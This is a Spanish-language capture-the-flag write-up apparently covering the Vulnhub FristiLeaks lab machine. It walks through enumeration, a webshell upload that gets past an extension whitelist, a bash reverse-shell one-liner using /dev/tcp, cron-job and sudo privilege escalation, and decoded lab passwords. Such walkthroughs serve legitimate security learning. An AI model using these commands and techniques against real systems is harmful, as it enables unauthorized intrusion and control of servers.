Vulnhub — Fristileaks : VM Writeup
De toda la serie de Kioptrix, esta maquina es hasta ahora la mas interesante debido a la gran cantidad de información que proporciona, solo se tienen que unir los puntos…como en el Bjj
“Si estás mirando en la dirección correcta, todo lo que necesitas hacer es seguir caminando” -Buda
En esta ocasión no fue necesario identificar la IP, debido a que el servidor dhcp ya le asigna uno, siempre y cuando configuremos la dirección mac proporcionado en la pagina de vulnhub
al ejecutar nmap
nmap -sC -sV -T5 -O --open -p- -oN machine.nmap 192.168.32.132
Se identificaron los siguientes servicios:
- 80/tcp — http:Apache httpd 2.2.15 (Centos) DAV/2 PHP/5.3.3
de igual forma fueron identificados los siguientes recursos
/robots.txt
/cola
/sisi
/beer
Al ingresar a estos directorios aparece :
Sin utilizar herramientas como wfuzz, dirb solo mirando el index.html y el nombre de la maquina /fristi y listo , 200 OK
volví a enumerar nuevamente después del directorio fristi/ identificamos uploads
Revisando el codigo fuente del formulario se identifico 2 cosas, un usuario “eezeepz” y una contraseña almacenada en una imagen, y la imagen estaba comentada con base64.
echo 'iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0klS0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+fm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJZv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvbDpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNdjJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg104VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLqi1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2FgtOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HKul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12qmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFheEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJRU5ErkJggg==' | base64 -d > imagen.png
Con el usuario y password identificamos iniciamos sesión
Enumeré, siempre es bueno hacerlo
dirb http://192.168.32.132/fristi -X .php,.txt,.html
Volviendo al formulario de upload, intenté subir un archivo con extension php (meterepreter, o una shell reversa),pero el codigo tenia una whitelist de extensiones para subir.
Buscando por internet encontre una webshell con “header” de un archivo jpeg
Simplemente agregando la extensión .jpg al final de la webshell se saltó el filtro de validación, y en el mismo mensaje se observa el directorio donde se subió la webshell.
Ahora ya con esto, comenzamos a ejecutar comandos del O.S
Aquí les dejo la URL de donde descargue, puede que le sirva para un CTF o cualquier otra maquina con esta restricciones.
Bueno ahora para conseguir una shell reversa.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Una vez con acceso al equipo comenzamos a enumerar, enumerar y enumerar.
Hasta aqui ya tenemos un par de usuarios y claves, ingresando al directorio de eezeepz, vemos que tiene mucha mas info.
rápidamente el archivo notes.txt me llamó la atención, ya nos dice mucho,
primero intente ingresar a los directorios de fristigod y admin, finalmente seguí el camino, accedí a eezeepz.
El autor vuelve a dejar una pista interesante, en resumen : cada minuto se ejecutara un script llamado “runthis” y el resultado sera almacenado en un archivo llamado “cronresult” con privilegios del usuario “admin”, la condición es que sean los binarios permitidos por admin y tomando en cuenta la ruta completa del binario
Con esta info, hice un PoC para leer algunos archivos
Resultado del archivo que almacena el resultado de la ejecución del comando.
Revisando los binarios permitidos, utilice chmod para poder acceder a la carpeta de admin y seguir chusmeando.
/home/admin/chmod 777 /home/admin
Una vez con los permisos, se accedió al directorio de admin
Dentro del directorio de admin, se encontró información interesante:
cryptedpass.txt -> contenía texto ya cifrado
cryptpass.py -> script utilizado para cifrar
whoisyourgodnow.txt -> contenía texto cifrado
Verificando el archivo, se puede observar el algoritmo utilizado para cifrar, base64 -> reverse (base64)->rot13
Después de ver el código se hizo la función para descifrar.
Ahora ya con el texto plano :
(Encrypt) =RFn0AKnlMHMPIzpyuTI0ITG = LetThereBeFristi! (Texto Plano)
(Encrypt) mVGZ303omkJLmypcuTq = thisisalsopw123 (Texto plano)
Escapando de la shell
probando como password los textos planos.
Tomando en cuenta el mensaje del creador y la enumeración de binarios, se identificó el binario /var/fristigod/.secret_admin_stuff/doCom
Encontré este Excelente articulo para profundizar en el tema:
se reviso el archivo /etc/sudoers, y vuelve aparecer el mismo binario, pero identificando que usuario puede ejecutar.
verificar un par de cosas mas en el binario, para ver que info podemos obtener
siguiendo la estructura de ejecutar el binario y pasar un parametro obtenemos root ;) !
accediendo al directorio de root, cat al archivo y listo!
Saludos!